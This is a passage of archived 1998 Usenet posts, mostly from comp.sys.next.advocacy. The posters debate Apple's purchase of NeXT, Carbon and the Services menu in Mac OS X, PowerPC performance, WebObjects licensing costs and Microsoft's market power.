you much. It seems that the PPC 750 is crippled enough to be just on par with
the Pentium II for the SPEC scores -- shameful for a modern RISC, really. I
guess IBM and Motorola figured that good single precision performance was
enough for the consumer market -- and they probably researched that quite a
bit... And, the fact that the PPC750 is a consumer level processor is
probably the reason that no SPEC scores have been published.
So, for scientific computations, there is evidence that the PPC 750 is no
better than the Pentium II -- IBM's simulation indicates that it is slighly
worse. I do think the SPECfp suite is almost entirely double precision, so
the 750 can't be all that bad at that.
(Micro parallelism ~ ILP, Macro parallelism is the kind of parallelism that
is related to the problem rather than the program typically it can be
exploited by a good compiler -- or a careful programmer -- that interleaves
instructions from separate "threads". Normally this kind of parallelism
cannot be exploited by a reordering processor because the independant parts
are too far apart in the instruction flow. It is rare to be able to keep more
than four "threads" running at any time, which essentially puts an upper
limit on the need for registers or stacks. A stack processor with a single
stack cannot easily handle more than one thread at a time, which limits the
performance.)
Regards,
John Hornkvist
Address:cd.chalmers.se
Name:nhoj
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy
Subject: Services menu (was: Inconsistent apps on MacOS X)
Date: Tue, 23 Jun 1998 17:53:21 +0200
Organization: Completely Disorganized
Message-ID: <1db37f6.1q68em3dkvyliN@rhrz-isdn3-p10.rhrz.uni-bonn.de>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu> <slrn6otdot.24u.sal@panix3.panix.com> <6mnch7$sq1$2@news.cmc.net> <slrn6ouegg.qhf.sal@panix3.panix.com> <Pine.NXT.3.96.980623094937.20163A-100000@pathos>
Mail-Copies-To: never
Bill Bumgarner <bbum@codefab.com> wrote:
> There isn't any reason why a Mac OS X app can't have a services menu!
> Sure, it may not have the full functionality of a YB services menu, but
> it could have one.
An interesting question is if it *should* have a services menu.
Let me explain: On current versions of the Mac OS some
(Apple-)scriptable applications have a "Scripts" menu (often just an
icon, not the text). (With the help of "OSA Menu" such a menu can be
globally wedged into the system.) This menu offers a list of scripts
that are usually stored in a folder specific to the application.
Isn't that great? Well, it depends on the alternatives. If the choice is
to have a scripts menu or to have none -- then it's clearly preferable
to have one.
But, then, if you think of it, it's not very intuitive to stuff a lot of
disparate things into one single menu just because they happen to be
scripts -- or services! It would be *far* better to have user
customizable menus, where commands can be moved to places where they
semantically make sense.
In the extreme this would mean to have fully customizable user
interfaces that are connected to the "models" (in MVC-speak) in a
user-level IB.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 23 Jun 98 08:52:11
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun23085211@slave.doubleu.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net>
In-reply-to: "Michelle L. Buck"'s message of Mon, 22 Jun 1998 01:37:44 -0500
In article <6mku6n$lk61@odie.mcleod.net>,
"Michelle L. Buck" <buck.erik@mcleod.net> writes:
I want to be convinced!
<...>
Playing devil's advocate -
Well, Apple could have attracted the people (and other talented
ones as well) for a small fraction of 400M. How about 200 people
with a 1M signing bonus ? They would have had the cream of Silicon
Valley at half the price.
Untrue. With NeXT, Apple had a group of people who were not only
technically very capable - they were also diehards. A big signing
bonus would probably just get you a bunch of people who want a big
signing bonus, which isn't necessarily congruent with that group of
people who are technically what you want.
Don't underestimate the power of existing synergy. You _might_ be
able to take 100 unrelated engineers and forge them into a powerful
development team over the course of four or five years. Personally,
I'd rather get a team of 25 engineers who _already_ work well
together.
Again, the real tragedy is that Apple did not buy NeXT in the 1988
to 1990 time frame. Remember: a NeXT cube was CHEAPER than the
comparable Apple at the time.
Actually, the tragedy is that they bought NeXT after a significant
number of the diehard/core people had already left. There are a lot
of people who left the NeXT market due to frustration at how things
were being done. Apple wouldn't have fixed most of the direct causes
for why these people left - but the much larger potential market would
have kept a lot of them onboard.
Hardware isn't important, in the long view. That's why harnessing
yourself to hardware is so dangerous.
Read the WWDC Carbon session notes. It is really depressing. A
lot of work is ongoing with Carbon. There are likely many more
Apple employees working on Carbon than anything else. What
concerns do they have ? They want a text system that can handle
more than 32K of text. They want to discourage programs from
allocating all available memory and/or the system memory in "low"
addresses. They want customizable menus. They want to be able to
store fonts anywhere. They want proportional sliders. They want
window layering (floating pallets). This is the dark ages people.
It's all the dark ages, these days. There was half a millenium
between Gutenberg and broad literacy. Look how much change we've seen
in 25 years with computers. No wonder the industry can't settle on
something - it simply hasn't had time to digest things.
Just be happy that "status quo" is defined in terms of 3-5years,
rather than 3-5 decades like it is in everything else. At least
there's a _chance_ that we'll eventually get there,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 22 Jun 98 17:33:19
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun22173319@slave.doubleu.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net>
<6lp29e$2as$1@new-news.cc.brandeis.edu>
<6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com>
<6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com>
<6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com>
<1dargdt.edmdpoeifj59N@phoenix81.wco.com>
<slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com>
<slrn6oih6d.k93.sal@panix3.panix.com> <6mcmcd$23e$1@news.digifix.com>
<6mhab9$gdj$4@msunews.cl.msu.edu>
<slrn6otjtn.257.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In-reply-to: NOSPAMmbkennelNOSPAM@yahoo.com's message of 22 Jun 1998 21:42:14 GMT
In article <slrn6otjtn.257.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel) writes:
:Personally I've advocated Rhapsody 1.0 being called MacOS X Server.
Personally, I like the name "MacOS IX".
I wouldn't mind at all if people figured we were from some
technological world, either. Just keep those damned Bene Theilexu
(sp?) away from me,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Inconsistent apps on MacOS X (was Re: Next purchase a mistake)
Date: Tue, 23 Jun 1998 09:03:50 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2306980903500001@dante.eng.uci.edu>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu> <slrn6otdot.24u.sal@panix3.panix.com> <6mnch7$sq1$2@news.cmc.net> <rmcassid-2306980018090001@dialin9231.slip.uci.edu> <6mocm6$5ud$1@news.cmc.net>
In article <6mocm6$5ud$1@news.cmc.net>, com.occam@leonvs wrote:
>In <rmcassid-2306980018090001@dialin9231.slip.uci.edu> Robert Cassidy wrote:
>>In article <6mnch7$sq1$2@news.cmc.net>, com.occam@leonvs wrote:
>>
>>> Actually, I think this criticism is the most significant one raised
>>> in this discussion. Even if AppleScript does provide a bridge to
>>> Services, that won't change the fact that most MacOS X apps (those
>>> not based on YB) won't have a Services menu, and won't export
>>> Services to be used by YB apps.
>>
>>Well, any Carbon app could easily have a Services menu. Not all the menus
>>provided to a MacOS app are known by the app.
>
>Sure, but how many Carbon apps actually will have a Services menu, with
>all the appropriate Services included, that changes dynamically as apps
>are installed and uninstalled?
I have 3 menus in this app that the app knows _nothing_ about. They are
highly dynamic. It's a non-issue.
>How many Mac developers working in Carbon do you think will bother to
>do this extra work?
What extra work. On the Mac, the menu bar is broken into two sections. The
menus on the left the app is responsible for at least knowing about (the
Apple menu must be put in, but the system fills it with single call. The
Help Menu is automatic, though - no code.) The right side menus are fully
automatic. The app knows nothing about the applications menu or any other
menus put in place (I have OtherMenu, a 3rd party launcher that I use to
run ASs in a very services-like manner, and Timbuktu).
>How many Mac developers working in Carbon do you think fully appreciate
>the value of Services?
Pretty much all of them. Take any app that is scriptable as clue-food.
>My guess is that the number will be vanishingly small. I mean, you could
>do all this in a non-Carbon, Blue Box Mac app as well, but I doubt we'll
>see any of that, either.
I doubt we will see that at all, actually, simply due to BlueBox needing
to retain compatability.
>For YB apps, the above questions are irrelevant, as they're answered
>automatically by the AppKit.
I think they are irrelevant to Carbon apps as you've phrased them. The
issues that I see are more related to any requirements on the part of the
service provider for some YB class to be implemented on the part of the
service recipient. So if you wanted to write a graphic filter, would it be
wholly dependent on an NSImage class being used? If so, it's not going to
work. But providing the menu and access to pasteboard should be a
no-brainer.
>>Services just uses the pasteboard, right? So I don't see why you couldn't
>>use AS to suck data from the pasteboard so long as the pass-by-reference
>>issues are dealt with properly. And I don't really see why you couldn't
>>export services by a similar mechanism. Sure the developer needs to do
>>some work to export but there is nothing wrong with that at all, it's not
>>automatic for YB apps after all.
>
>Maybe you *could*, but will Carbon developers actually do it? Will it even
>cross their minds that it's worth it?
I think so. Most have adopted AS as a good thing. AS is essentially a more
flexible, less dynamic services.
>Exporting Services may not be automatic for YB developers, but they should
>be used to thinking about them, and that will make all the difference.
It will take some education, that's true.
>>> Will Carbon apps utilize the same pasteboards that YB apps do?
>>
>>I would think that would be possible.
>
>But if they don't by default, we're going to have big mess. Say goodbye
>to universal drag-n-drop.
Let's wait and see what we get. I think it is possible. Drag-and-drop on
the Mac utilizes what are called 'flavors'. Basically you register the
'flavor' of what it is that you are dragging and the destination is
responsible for determining that it can accept that 'flavor'. That sounds
suspiciously similar to having pasteboards for each type of data that you
are moving about, no? A translation needs to take place, but in most cases
that shouldn't be a problem.
>>Support QT instead and throw the new format in there. Why limit yourself
>>to images...
>>
>>But my guess would be no.
>
>What about other types of documents?
My understanding of services is the problem. Do service interactions
actually care what _class_ I use, or do they just pass data? That is, if
you wanted to give me the ability to open GIF2k, how would a carbon app
that didn't understand NSImage react to it? Are you really just passing me
a different format that could be matched to a standard Carbon struct?
>A few other things:
>
>Will Carbon apps use the same spelling dictionary that most YB apps do?
Text should be easy. I would think so so long as the app doesn't so
anything too wierd. We have 3rd party universal spelling utilities so I
think the services would only break where the existing MacOS universal
spelling services break.
>Will they use the same Print, Open, Save, Font, etc. panels?
Yep. In the same way that YB/NT apps use the Windows panels, the YB/MacOS
X apps will use the MacOS panels (Navigation Services). So the YB apps
will take advantage of the Carbon APIs better than most Mac apps will in
many cases. If I have all of this straight, that is...
-Bob Cassidy
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Inconsistent apps on MacOS X (was Re: Next purchase a mistake)
Date: Tue, 23 Jun 1998 11:35:44 -0600
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-2306981135440001@castle.webis.net>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu> <slrn6otdot.24u.sal@panix3.panix.com> <6mnch7$sq1$2@news.cmc.net> <rmcassid-2306980018090001@dialin9231.slip.uci.edu> <6mocm6$5ud$1@news.cmc.net> <rmcassid-2306980903500001@dante.eng.uci.edu>
NNTP-Posting-Date: 23 Jun 1998 16:35:31 GMT
I don't think Services will be an issue at all. I have the PGP Menus
globally on all my apps. None of my apps know about it, yet the software
can grab whatever I've highlighted and do its work on it and then paste it
back in. To me, this acts just like services.
--
Web Information Solutions CEO <http://www.WebIS.net>
VersaCom Chief Technology Officer <http://www.VersaCom.com>
I don't speak for my employer, which oddly enough is myself
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Tue, 23 Jun 1998 16:27:36 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Ev0J20.An9@micmac.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Cc: buck.erik@mcleod.net
This was written in comp.sys.next.advocacy (<6mku6n$lk61@odie.mcleod.net>)
by "Michelle L. Buck":
> Again, the real tragedy is that Apple did not buy NeXT in the 1988 to 1990
> time frame.
> Remember: a NeXT cube was CHEAPER than the comparable Apple at the time.
>
The real tragedy IS that Steve had to leave Apple to create NeXT!!!
(If not the cube would have been created INSIDE of Apple and Carbon would
have existed 10 years ago...)
The sugared water dealer wasted all the computer history! He's faulty for
all that trouble and the current M$ omnipresent domination.
mc
Message-ID: <358FE899.B45279A1@mediaone.com>
From: Ahmad Dakkak <adakkak@mediaone.com>
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Date: Tue, 23 Jun 1998 17:40:59 GMT
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Organization: MediaOne Express, Western Region
test
From: Ahmad Dakkak <adakkak@mediaone.com>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: cancel <358FE899.B45279A1@mediaone.com>
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Message-ID: <eORj1.435$0N.4322356@cynws01.we.mediaone.net>
Date: Tue, 23 Jun 1998 17:42:34 GMT
NNTP-Posting-Date: Tue, 23 Jun 1998 10:42:34 PDT
Organization: MediaOne Express, Western Region
This message was cancelled from within Mozilla.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: 23 Jun 1998 17:55:17 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ovr05.s38.sal@panix3.panix.com>
References: <358EEC0C.248A@earthlink.net> <1998062315272600.LAA03159@ladder03.news.aol.com>
On 23 Jun 1998 15:27:26 GMT, WillAdams <willadams@aol.com> wrote:
>or an add-on which includes those things which are left out, i.e. Digital
>Webster, Shakespeare, Quotations,
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
I would like to see a WO based frontend to Project Guentenberg (sp?) that
uses Apple's V-Twin to search the archive.
If not, maybe a Digital Lib clone that pulls in a bunch of text from the
PG archives.
--
sal@panix.com
Salvatore Denaro
From: boracay@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Tue, 23 Jun 1998 17:57:42 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6moqam$4os$1@nnrp1.dejanews.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
In article <6mmfdv$5l4$1@nnrp1.dejanews.com>, boracay@hotmail.com wrote:
> > PROGRAMMING: D Long ago it was obvious for the need to walk up to a computer
> > and spit out robust, easy to use, polished, functional applications with as
> > little effort as possible. I feel that in fact it is harder to do this today
> > than it ever has been. The only thing saving an F is that JAVA is finally
> > trying to be platform independent, although it is kinda difficult and quirky.
> > Nobody seems to want to make computer more programmable. Doesn’t somebody
> > understand that easy to use and easy to program are desirable?
In article <billa-2206981913080001@archbald-96.slip.uiuc.edu>,
billa@uiuc.edu (Bill Altenberger) replied:
> Apple developers do. Enough said on this topic.
Really? How come I don't see it. To be honest almost every company Apple,
Sun, Microsoft or others who have touched computing have done nothing but
make computers more difficult to program over the years. I just don't see the
products about which you speak. I saw Steve Jobs showing off something
onetime to make it easier to program, but it isn't mainstream and I don't
know if it is anything at all. I have used LabView on PC and Mac, and that
has ideas but limits. Really it seems no company cares about it. I mean make
it real easy to program, and not some hybrid piece of junk which is hard to
use, I mean really, really easy to program with a great GUI, all the
functioinality ever needed in my app, robust, fast and so on. It just does
not exist and I hardly see anyone who cares. It has gotten nothing but harder
and harder to program over the years..
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 23 Jun 1998 11:09:05 -0700
Organization: UC Irvine
Message-ID: <atlauren-2306981109050001@jungleland.acs.uci.edu>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <SCOTT.98Jun8115024@slave.doubleu.com> <6lkna9$bsi$1@nnrp1.dejanews.com> <35906d0c.13309108@news.supernews.com> <6mh0iv$e25$1@nnrp1.dejanews.com> <35deaab4.128506219@news.supernews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <atlauren-2206981155330001@jungleland.acs.uci.edu> <6mmt35$msv$1@nnrp1.dejanews.com>
_3;X4o1Yg^$]=Oc\u
In article <6mmt35$msv$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
>> In this society, laws and legislation are often created in order to stop
>> one person/party/company/etc from being an asshole.
<snip>
>It is a interesting way of saying "mob rule" is a prime motivator.
"Mob rule", "electoral process", "judicial system", whatever. Choose the
terminology which presents the reality with which you are most
comfortable.
>Rather than admit our faults, we
>redouble our efforts to blame the <individual> beyond anything that can be
>reasonably justified.
Well certainly. It's much more fun to see some other schmuck get tarred
and feathered, than to admit our own faults.
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 23 Jun 1998 18:01:40 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6moqi4$5cl$1@nnrp1.dejanews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <35deaab4.128506219@news.supernews.co <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <6mmse2$m0u$1@nnrp1.dejanews.com> <359411ae.2541591@news.supernews.com>
In article <359411ae.2541591@news.supernews.com>,
mdevlin@eltrax.com (T. Max Devlin) wrote:
>
> dpetticord@hotmail.com, on Tue, 23 Jun 1998 00:21:22 GMT,
<snip>
> >We do not have to imagine. IBM's OS/2 Warp was pushed as the "on-ramp to the
> >internet". If it had been priced a little lower advertised a little better,
> >who knows...
>
> By the time Warp came out, we were in too deep to get out, though we had
> hardly noticed the quicksand as it crept above our rib cage
<snip>
> It wouldn't have really mattered how low the price, or how good the
> product. Bill Gates owned the PC platform, had stolen it right out from
> underneath the industry, and it didn't matter _what_ OS/2 did.
>
I could agree that OS/2 did not stand much of a chance. The original point
continues to be that Microsoft was reacting to the market (consumers and
competitors). I assume you agree it mattered what Microsoft did or didn't do.
If Microsoft didn't provide internet access, OS/2 could have very well have
eaten into their market share.
> >This falls under the category of "woulda, coulda, shoulda".
>
> Don't it always?
>
> > The point was
> >(and is) that Windows95's bloatware features got the attention of people
> >who wanted to get on the internet and/or setup small office LANs. We can
> >argue about carts and horses, but Microsoft was obviously responding to
> >market (customer and competitor) forces.
>
> If you can argue about carts and horses (and I can), then this kind of
> thing is not obvious, no. There are only two differences I can find
> between virtual competition and real competition. Timing, and whether
> they can keep monopolies in check.
>
> Virtual competition just gives the monopolies more to sell. They also
> confuse people about cause and effect. If I have to seem the troll, I
> will, but I will _not_ let you, David, or anyone else get away with
> these prejudicial comments attributing the modern value of PCs to the
> existence of a Windows monopoly. No, David, sorry. I was setting up
> small office LANs for three years before Windows was even introduced.
> And I wasn't the first. And the logarithmic progression of people
> getting interested in the internet and LANs in recent years is a feature
> of something called the network effect, not the Windows Experience.
>
I respect your opinion, and even agree with it to some degree. Microsoft
was just going along for the ride. But that is what a successful company
should try to do. You can accuse them of "stealing" the internet momentium,
but that is what a good marketing department should try to do.
> >> I suspect that the result would be a veritable industry of Win32
> >> support for various PeeCee Unixes and Unix-like OSes.
> >
> >Why do you think PeeCee Unixes will be any more homogeneous than other
Unixes?
> >What will keep the PC hardware manufacturers from diverging?
>
> Customer demand, same as now. Besides, I think you overvalue
> homogenaetty. Within a company, maybe, its great. Otherwise, it simply
> restricts your alternatives. "Cyberdiversity" is a word I just invented
> as I typed it, but I think it is a very obvious and important concept.
>
You made two arguments, one "it won't diverge" and two "divergance isn't bad".
To the first point... Do you really think the mass market will think twice
about compatibility when they can buy a "complete PC" for only $499. Try to
deny it all you want, but price is a prime motivator in the desktop market.
Most of it is about "Getting the fastest for the cheapest so you can brag
about it at the water-cooler".
As to "cyberdiversity", I think we are getting to another crux of our
differences. Sure, to you and I, "heaven" would be millions of cheap tools
available so we could always find the perfect one for the job we want to do
today. For the average home user, this is "hell". The number one complaint
I get from new computer users is that there are more than one way to do the
same things. They want simple, straight forward answers. It is an ideal that
computer users (not programmers) have always wanted and always will.
> >Here is just one answer to your question of "how so?"...
> >
> >OEMs have a history of trying to "improve" their products by designing
> >propriatory, non-standard boards. The need to be compatible with the next
> >release of Windows is what has kept them at bay. If you get rid of this,
> >I have little doubt that OEMs will contractually tie themselves to "their" OS
> >producer and immeadiately put everything on the mother-board to reduce cost.
> >The fragmentation of the PC market will be inevidable after that.
>
> Somebody has finally actually _spoken_ this ludicrous theory that we
> *must have* a Windows monopoly or the PC platform of open architecture,
> industry standard interchangeable components will not have any value.
>
You are not contradicting this "ludicrous theory". Do you question the
desirability of making the "all-in-one" motherboards for the mass market?
Technical people like us would never buy one, but we are the minority now.
Are you counting on alteristic actions in the shark infested OEM waters?
You have all but admitted that software diversity will happen and is
desirable. Why couldn't the same thing be said for hardware diversity?
> >History is full of well-meaning revolutions that result in extreme chaos,
> >misery and pain.
>
> When discussing economic markets, I don't think "extreme chaos" causes
> misery and pain. More like wealth and opportunity, actually.
>
For us, yes, but others will feel pain.
> > Microsoft is a fairly benevolent dictator (Most upstarts
> >receive generous bribes to go away), but a dictator is a dictator and it is
> >human nature to fight them. Just be sure you will be happy with what you
> >are asking for.
>
> I do believe you are losing it, David.
Ok Max, it is getting time to confess motivations.
Microsoft must be stopped because...
a) No one company should be allowed to have that much power.
b) Home users should be forced to understand the computers they own.
c) Unix must be saved from being replaced by an inferior OS.
d) It is importance that all laws must be enforced.
e) Cyberdiversity will dramitically increase the worth of technical skills
f) Microsofties are too smug, they all need a punch in the nose.
Obviously, you can choose more than one, all of them, or add your own. I
suspect "c" is one of your stronger motivators.
As for my motivation...
I tend to pity the home user and do not like seeing our courts used to deliver
a "punch in the nose" regardless of how well deserved it is.
I understand that Microsoft is a bully and receives much more credit than it
deserves. There is a balance here. Microsoft is both good and bad. I would
prefer to see a gradual evolution as opposed to a sudden revolution.
I am just as frustrating to Microsoft purists in the work world. "It is
Microsoft" is not a product choice justification in my book. Unfortunately
for its critics "it is Microsoft" is also an insufficient product
condemnation.
BTW, I think our "balanced" debate is going well.
Thank You,
David Petticord
Complete Networks, Inc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 23 Jun 1998 13:37:46 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mob3a$fci$1@ns3.vrx.net>
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<6mbvqu$jmk@newsb.netnews.att.com> <358987E3.3499F024@nstar.net>
<6mdnhk$tie$1@nnrp1.dejanews.com> <358A79EB.8C8776DC@nstar.net>
<6mk8e7$qr1$2@ironhorse.plsys.co.uk> <6mm92q$tnb4@onews.collins.rockwell.com>
<6mlro0$gfb$1@ns3.vrx.net> <slrn6ou5b2.h67.sal@panix3.panix.com>
<6mnrhg$3vn$4@ns3.vrx.net> <slrn6ovr77.s38.sal@panix3.panix.com>
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Cc: sal@panix3.panix.com
In <slrn6ovr77.s38.sal@panix3.panix.com> Salvatore Denaro claimed:
> > That's like saying they don't want MacOS, but something that runs MacOS
> >software.
>
> Carbon?
Sure. I love Carbon.
> If they want Unix, why aren't they running Unix?
Because it doesn't run MacOS software.
> Why didn't they run to AU/X while Apple was selling it?
Because of the resource requirements. In the years since Unix's
requirements have grown somewhat, but hardware abilities have grown many
times over. The end result is that Unix systems now typically require less
hardware than the other desktop apps of the day, whereas I'd say that was
untrue as recently as '94.
> I think most Mac users see Unix as being "scary"
For now. Then they'll see it as "wonderful".
Maury
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 23 Jun 1998 17:59:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ovr77.s38.sal@panix3.panix.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6majra$hjq$1@suriname.it.earthlink.net> <6mbmnc$1uu$2@news.xmission.com> <35897A0E.2CF1E720@nstar.net> <6mbvqu$jmk@newsb.netnews.att.com> <358987E3.3499F024@nstar.net> <6mdnhk$tie$1@nnrp1.dejanews.com> <358A79EB.8C8776DC@nstar.net> <6mk8e7$qr1$2@ironhorse.plsys.co.uk> <6mm92q$tnb4@onews.collins.rockwell.com> <6mlro0$gfb$1@ns3.vrx.net> <slrn6ou5b2.h67.sal@panix3.panix.com> <6mnrhg$3vn$4@ns3.vrx.net>
On 23 Jun 1998 09:12:16 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <slrn6ou5b2.h67.sal@panix3.panix.com> Salvatore Denaro claimed:
>> No they don't. They want the functionality and stability that Unix offers,
>not
>> Unix. They want better Apps, not a tool to build better Apps.
>
> That's like saying they don't want MacOS, but something that runs MacOS
>software.
Carbon?
>Apple users want Unix because it will give them functionality and
>stability that Unix offers. Currently no one seems to be able to separate
>the two.
If they want Unix, why aren't they running Unix? Why didn't they run to AU/X
while Apple was selling it? Or the Apple AIX machines?
I think most Mac users see Unix as being "scary"
>> The issue is marketing. How do you give Mac users what they want, but
>without
>> the scary "u" word? You lie to them. Bold face lie. Give them Unix but call
>> it MacOS.
> Sure. I love what they're doing.
--
sal@panix.com
Salvatore Denaro
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Selling WO is hard work (was: Re: Next purchase a mistake)
Date: Tue, 23 Jun 1998 11:46:20 -0700
Organization: Digital Universe Corporation
Message-ID: <358FF7FC.2C9034DB@alum.mit.edu>
References: <6mkd25$8c44@odie.mcleod.net> <6mmd18$d2e@newsb.netnews.att.com> <6mmhb7$eos$1@news.digifix.com> <slrn6ou6aj.h67.sal@panix3.panix.com> <rmcassid-2206982325590001@dialin9231.slip.uci.edu>
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Robert Cassidy wrote:
> Apple has won a battle for me simply through it's pricing model. At the
> university, if it costs less than $500, you really don't need to justify
> the purchase. So WO gets slipped in sight unseen. Once it's in place and
> running, who will argue?
Unfortunately, the other 99% of the population (i.e. the non-educational
customers) have to pay $25,000 for a full, unlimited server license to
WebObjects. Therefore, even a small 2-person company who wants to serve apps to
the rest of the world using WebObjects, will have to take a loan against their
cars, houses, and wedding rings in order to buy a license. And we haven't even
started to talk about yearly upgrade/subscription fees either. :)
Eric
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 23 Jun 1998 13:45:03 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mobgv$fci$2@ns3.vrx.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com>
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Cc: boracay@hotmail.com
In <6moqam$4os$1@nnrp1.dejanews.com> boracay@hotmail.com claimed:
> > > than it ever has been. The only thing saving an F is that JAVA is
finally
> > > trying to be platform independent, although it is kinda difficult and
quirky.
Java is neither difficult nor quirky. Java, even when used on a single
platform for a single platform, makes programming easier. Period. The
industry took a big step "sideways" with C++, and even though they sell Java
for other reasons, it has the ability to swing it back on track (unlike
Obj-C).
> Really? How come I don't see it. To be honest almost every company Apple,
> Sun, Microsoft or others who have touched computing have done nothing but
> make computers more difficult to program over the years.
Pretty much. However you ignore a huge number of companies that did just
this, but didn't have the mindshare or marketting dollars to convince you.
Of course those are the only two things that actually work, time and time
again we've seen technically superb systems fall because most programmers are
both lazy and afraid of change.
> products about which you speak. I saw Steve Jobs showing off something
> onetime to make it easier to program, but it isn't mainstream and I don't
> know if it is anything at all.
So who's fault is that? Your lack of effort to learn about the solutions
in no way implies the solutions don't exist. There's lots, Delphi,
CodeBuilder, many SmallTalk tools, AppWare, ProGraph and OpenStep come
immediately to mind. If you are unaware of these, get off your butt and do
some surfing.
> has ideas but limits. Really it seems no company cares about it.
Lots of companies do.
> functioinality ever needed in my app, robust, fast and so on. It just does
> not exist
Yes it does.
> and I hardly see anyone who cares.
Lots of people care.
> It has gotten nothing but harder and harder to program over the years..
Untrue.
Maury
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Microsoft Sets Low Expectations for Windows 98
